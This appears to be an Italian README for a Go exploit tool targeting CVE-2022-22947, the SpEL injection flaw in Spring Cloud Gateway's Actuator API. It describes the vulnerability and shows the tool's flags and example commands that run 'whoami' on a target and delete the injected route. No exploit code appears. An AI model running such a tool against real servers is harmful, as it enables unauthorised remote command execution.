
Exploit basato su Go per CVE-2022-22947, una vulnerabilità di iniezione SpEL in Spring Cloud Gateway, che consente l'esecuzione remota di comandi tramite l'API Actuator.
Spring Cloud Gateway è un gateway API in Spring. Nelle versioni 3.1.0 e 3.0.6 (incluse) e precedenti è presente una vulnerabilità di injection di espressioni SpEL. Se un attaccante può accedere all'Actuator API, può sfruttare la vulnerabilità per eseguire comandi arbitrari.
Utilizzo:
➜ ./cve-2022-22947 -h
Usage of cve-2022-22947:
-c string
Execute command, Example: whoami (default "id")
-d Delete route.
-r string
New route name
-u string
Target Url, Example: http://127.0.0.1:8080
# esempio
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami -r exploit.
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -r exploit -d
Problemi incontrati: https://darkb1rd.github.io/2022/03/07/yuque/cve-2022-22947%20%E5%B0%8F%E7%82%B9/